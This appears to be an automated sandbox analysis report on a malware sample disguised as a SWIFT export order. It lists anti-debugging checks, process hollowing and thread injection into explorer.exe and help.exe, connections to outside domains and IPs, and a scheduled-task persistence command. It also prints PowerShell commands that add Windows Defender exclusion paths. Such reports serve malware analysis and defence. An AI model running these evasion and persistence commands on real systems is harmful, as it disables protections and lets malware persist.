Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7B02A mov eax, dword ptr fs:[00000030h] 20_2_02F7B02A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7B02A mov eax, dword ptr fs:[00000030h] 20_2_02F7B02A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7B02A mov eax, dword ptr fs:[00000030h] 20_2_02F7B02A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7B02A mov eax, dword ptr fs:[00000030h] 20_2_02F7B02A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE7016 mov eax, dword ptr fs:[00000030h] 20_2_02FE7016
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE7016 mov eax, dword ptr fs:[00000030h] 20_2_02FE7016
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE7016 mov eax, dword ptr fs:[00000030h] 20_2_02FE7016
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03034015 mov eax, dword ptr fs:[00000030h] 20_2_03034015
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03034015 mov eax, dword ptr fs:[00000030h] 20_2_03034015
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FF41E8 mov eax, dword ptr fs:[00000030h] 20_2_02FF41E8
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6B1E1 mov eax, dword ptr fs:[00000030h] 20_2_02F6B1E1
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6B1E1 mov eax, dword ptr fs:[00000030h] 20_2_02F6B1E1
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6B1E1 mov eax, dword ptr fs:[00000030h] 20_2_02F6B1E1
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE51BE mov eax, dword ptr fs:[00000030h] 20_2_02FE51BE
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE51BE mov eax, dword ptr fs:[00000030h] 20_2_02FE51BE
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE51BE mov eax, dword ptr fs:[00000030h] 20_2_02FE51BE
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE51BE mov eax, dword ptr fs:[00000030h] 20_2_02FE51BE
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE69A6 mov eax, dword ptr fs:[00000030h] 20_2_02FE69A6
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F961A0 mov eax, dword ptr fs:[00000030h] 20_2_02F961A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F961A0 mov eax, dword ptr fs:[00000030h] 20_2_02F961A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F92990 mov eax, dword ptr fs:[00000030h] 20_2_02F92990
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03022073 mov eax, dword ptr fs:[00000030h] 20_2_03022073
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03031074 mov eax, dword ptr fs:[00000030h] 20_2_03031074
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8C182 mov eax, dword ptr fs:[00000030h] 20_2_02F8C182
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9A185 mov eax, dword ptr fs:[00000030h] 20_2_02F9A185
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6B171 mov eax, dword ptr fs:[00000030h] 20_2_02F6B171
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6B171 mov eax, dword ptr fs:[00000030h] 20_2_02F6B171
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6C962 mov eax, dword ptr fs:[00000030h] 20_2_02F6C962
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8B944 mov eax, dword ptr fs:[00000030h] 20_2_02F8B944
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8B944 mov eax, dword ptr fs:[00000030h] 20_2_02F8B944
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9513A mov eax, dword ptr fs:[00000030h] 20_2_02F9513A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9513A mov eax, dword ptr fs:[00000030h] 20_2_02F9513A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F84120 mov eax, dword ptr fs:[00000030h] 20_2_02F84120
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F84120 mov eax, dword ptr fs:[00000030h] 20_2_02F84120
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F84120 mov eax, dword ptr fs:[00000030h] 20_2_02F84120
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F84120 mov eax, dword ptr fs:[00000030h] 20_2_02F84120
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F84120 mov ecx, dword ptr fs:[00000030h] 20_2_02F84120
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F69100 mov eax, dword ptr fs:[00000030h] 20_2_02F69100
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F69100 mov eax, dword ptr fs:[00000030h] 20_2_02F69100
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F69100 mov eax, dword ptr fs:[00000030h] 20_2_02F69100
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0303070D mov eax, dword ptr fs:[00000030h] 20_2_0303070D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0303070D mov eax, dword ptr fs:[00000030h] 20_2_0303070D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F776E2 mov eax, dword ptr fs:[00000030h] 20_2_02F776E2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F916E0 mov ecx, dword ptr fs:[00000030h] 20_2_02F916E0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F936CC mov eax, dword ptr fs:[00000030h] 20_2_02F936CC
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA8EC7 mov eax, dword ptr fs:[00000030h] 20_2_02FA8EC7
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE46A7 mov eax, dword ptr fs:[00000030h] 20_2_02FE46A7
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03038F6A mov eax, dword ptr fs:[00000030h] 20_2_03038F6A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFFE87 mov eax, dword ptr fs:[00000030h] 20_2_02FFFE87
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8AE73 mov eax, dword ptr fs:[00000030h] 20_2_02F8AE73
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8AE73 mov eax, dword ptr fs:[00000030h] 20_2_02F8AE73
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8AE73 mov eax, dword ptr fs:[00000030h] 20_2_02F8AE73
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8AE73 mov eax, dword ptr fs:[00000030h] 20_2_02F8AE73
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8AE73 mov eax, dword ptr fs:[00000030h] 20_2_02F8AE73
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7766D mov eax, dword ptr fs:[00000030h] 20_2_02F7766D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F77E41 mov eax, dword ptr fs:[00000030h] 20_2_02F77E41
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F77E41 mov eax, dword ptr fs:[00000030h] 20_2_02F77E41
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F77E41 mov eax, dword ptr fs:[00000030h] 20_2_02F77E41
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F77E41 mov eax, dword ptr fs:[00000030h] 20_2_02F77E41
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F77E41 mov eax, dword ptr fs:[00000030h] 20_2_02F77E41
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F77E41 mov eax, dword ptr fs:[00000030h] 20_2_02F77E41
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6E620 mov eax, dword ptr fs:[00000030h] 20_2_02F6E620
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9A61C mov eax, dword ptr fs:[00000030h] 20_2_02F9A61C
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9A61C mov eax, dword ptr fs:[00000030h] 20_2_02F9A61C
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6C600 mov eax, dword ptr fs:[00000030h] 20_2_02F6C600
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6C600 mov eax, dword ptr fs:[00000030h] 20_2_02F6C600
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6C600 mov eax, dword ptr fs:[00000030h] 20_2_02F6C600
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F98E00 mov eax, dword ptr fs:[00000030h] 20_2_02F98E00
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021608 mov eax, dword ptr fs:[00000030h] 20_2_03021608
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA37F5 mov eax, dword ptr fs:[00000030h] 20_2_02FA37F5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0301FE3F mov eax, dword ptr fs:[00000030h] 20_2_0301FE3F
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302AE44 mov eax, dword ptr fs:[00000030h] 20_2_0302AE44
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302AE44 mov eax, dword ptr fs:[00000030h] 20_2_0302AE44
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F78794 mov eax, dword ptr fs:[00000030h] 20_2_02F78794
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE7794 mov eax, dword ptr fs:[00000030h] 20_2_02FE7794
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE7794 mov eax, dword ptr fs:[00000030h] 20_2_02FE7794
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE7794 mov eax, dword ptr fs:[00000030h] 20_2_02FE7794
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7FF60 mov eax, dword ptr fs:[00000030h] 20_2_02F7FF60
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03030EA5 mov eax, dword ptr fs:[00000030h] 20_2_03030EA5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03030EA5 mov eax, dword ptr fs:[00000030h] 20_2_03030EA5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03030EA5 mov eax, dword ptr fs:[00000030h] 20_2_03030EA5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7EF40 mov eax, dword ptr fs:[00000030h] 20_2_02F7EF40
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0301FEC0 mov eax, dword ptr fs:[00000030h] 20_2_0301FEC0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9E730 mov eax, dword ptr fs:[00000030h] 20_2_02F9E730
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03038ED6 mov eax, dword ptr fs:[00000030h] 20_2_03038ED6
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F64F2E mov eax, dword ptr fs:[00000030h] 20_2_02F64F2E
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F64F2E mov eax, dword ptr fs:[00000030h] 20_2_02F64F2E
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8F716 mov eax, dword ptr fs:[00000030h] 20_2_02F8F716
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFFF10 mov eax, dword ptr fs:[00000030h] 20_2_02FFFF10
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFFF10 mov eax, dword ptr fs:[00000030h] 20_2_02FFFF10
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9A70E mov eax, dword ptr fs:[00000030h] 20_2_02F9A70E
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9A70E mov eax, dword ptr fs:[00000030h] 20_2_02F9A70E
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6CF0 mov eax, dword ptr fs:[00000030h] 20_2_02FE6CF0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6CF0 mov eax, dword ptr fs:[00000030h] 20_2_02FE6CF0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6CF0 mov eax, dword ptr fs:[00000030h] 20_2_02FE6CF0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03038D34 mov eax, dword ptr fs:[00000030h] 20_2_03038D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302E539 mov eax, dword ptr fs:[00000030h] 20_2_0302E539
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03013D40 mov eax, dword ptr fs:[00000030h] 20_2_03013D40
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7849B mov eax, dword ptr fs:[00000030h] 20_2_02F7849B
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8746D mov eax, dword ptr fs:[00000030h] 20_2_02F8746D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFC450 mov eax, dword ptr fs:[00000030h] 20_2_02FFC450
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FFC450 mov eax, dword ptr fs:[00000030h] 20_2_02FFC450
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030305AC mov eax, dword ptr fs:[00000030h] 20_2_030305AC
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030305AC mov eax, dword ptr fs:[00000030h] 20_2_030305AC
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9A44B mov eax, dword ptr fs:[00000030h] 20_2_02F9A44B
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9BC2C mov eax, dword ptr fs:[00000030h] 20_2_02F9BC2C
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302FDE2 mov eax, dword ptr fs:[00000030h] 20_2_0302FDE2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302FDE2 mov eax, dword ptr fs:[00000030h] 20_2_0302FDE2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302FDE2 mov eax, dword ptr fs:[00000030h] 20_2_0302FDE2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302FDE2 mov eax, dword ptr fs:[00000030h] 20_2_0302FDE2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03018DF1 mov eax, dword ptr fs:[00000030h] 20_2_03018DF1
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6C0A mov eax, dword ptr fs:[00000030h] 20_2_02FE6C0A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6C0A mov eax, dword ptr fs:[00000030h] 20_2_02FE6C0A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6C0A mov eax, dword ptr fs:[00000030h] 20_2_02FE6C0A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6C0A mov eax, dword ptr fs:[00000030h] 20_2_02FE6C0A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021C06 mov eax, dword ptr fs:[00000030h] 20_2_03021C06
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0303740D mov eax, dword ptr fs:[00000030h] 20_2_0303740D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0303740D mov eax, dword ptr fs:[00000030h] 20_2_0303740D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0303740D mov eax, dword ptr fs:[00000030h] 20_2_0303740D
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7D5E0 mov eax, dword ptr fs:[00000030h] 20_2_02F7D5E0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7D5E0 mov eax, dword ptr fs:[00000030h] 20_2_02F7D5E0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6DC9 mov eax, dword ptr fs:[00000030h] 20_2_02FE6DC9
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6DC9 mov eax, dword ptr fs:[00000030h] 20_2_02FE6DC9
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6DC9 mov eax, dword ptr fs:[00000030h] 20_2_02FE6DC9
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6DC9 mov ecx, dword ptr fs:[00000030h] 20_2_02FE6DC9
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6DC9 mov eax, dword ptr fs:[00000030h] 20_2_02FE6DC9
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE6DC9 mov eax, dword ptr fs:[00000030h] 20_2_02FE6DC9
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F91DB5 mov eax, dword ptr fs:[00000030h] 20_2_02F91DB5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F91DB5 mov eax, dword ptr fs:[00000030h] 20_2_02F91DB5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F91DB5 mov eax, dword ptr fs:[00000030h] 20_2_02F91DB5
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F935A1 mov eax, dword ptr fs:[00000030h] 20_2_02F935A1
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9FD9B mov eax, dword ptr fs:[00000030h] 20_2_02F9FD9B
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9FD9B mov eax, dword ptr fs:[00000030h] 20_2_02F9FD9B
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F92581 mov eax, dword ptr fs:[00000030h] 20_2_02F92581
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F92581 mov eax, dword ptr fs:[00000030h] 20_2_02F92581
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F92581 mov eax, dword ptr fs:[00000030h] 20_2_02F92581
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F92581 mov eax, dword ptr fs:[00000030h] 20_2_02F92581
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F62D8A mov eax, dword ptr fs:[00000030h] 20_2_02F62D8A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F62D8A mov eax, dword ptr fs:[00000030h] 20_2_02F62D8A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F62D8A mov eax, dword ptr fs:[00000030h] 20_2_02F62D8A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F62D8A mov eax, dword ptr fs:[00000030h] 20_2_02F62D8A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F62D8A mov eax, dword ptr fs:[00000030h] 20_2_02F62D8A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8C577 mov eax, dword ptr fs:[00000030h] 20_2_02F8C577
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F8C577 mov eax, dword ptr fs:[00000030h] 20_2_02F8C577
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F87D50 mov eax, dword ptr fs:[00000030h] 20_2_02F87D50
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA3D43 mov eax, dword ptr fs:[00000030h] 20_2_02FA3D43
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FE3540 mov eax, dword ptr fs:[00000030h] 20_2_02FE3540
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F94D3B mov eax, dword ptr fs:[00000030h] 20_2_02F94D3B
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F94D3B mov eax, dword ptr fs:[00000030h] 20_2_02F94D3B
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F94D3B mov eax, dword ptr fs:[00000030h] 20_2_02F94D3B
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F73D34 mov eax, dword ptr fs:[00000030h] 20_2_02F73D34
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6AD30 mov eax, dword ptr fs:[00000030h] 20_2_02F6AD30
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FEA537 mov eax, dword ptr fs:[00000030h] 20_2_02FEA537
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03038CD6 mov eax, dword ptr fs:[00000030h] 20_2_03038CD6
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030214FB mov eax, dword ptr fs:[00000030h] 20_2_030214FB
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00409B50 LdrLoadDll, 8_2_00409B50
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.innovativepropsolutions.com
Source: C:\Windows\explorer.exe Network Connect: 23.227.38.74 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.aarondecker.online
Source: C:\Windows\explorer.exe Domain query: www.754711.com
Source: C:\Windows\explorer.exe Domain query: www.pyjama-france.com
Source: C:\Windows\explorer.exe Domain query: www.wamhsh.com
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.hpsaddlerock.com
Source: C:\Windows\explorer.exe Domain query: www.blueharepress.com
Source: C:\Windows\explorer.exe Network Connect: 156.226.250.165 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 209.17.116.163 80 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Section unmapped: C:\Windows\SysWOW64\help.exe base address: D90000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread register set: target process: 3472 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread register set: target process: 3472 Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Thread register set: target process: 3472 Jump to behavior
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\AnsPejV.exe
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\AnsPejV.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\AnsPejV.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnsPejV" /XML "C:\Users\user\AppData\Local\Temp\tmp3FD.tmp Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\autochk.exe C:\Windows\SysWOW64\autochk.exe Jump to behavior
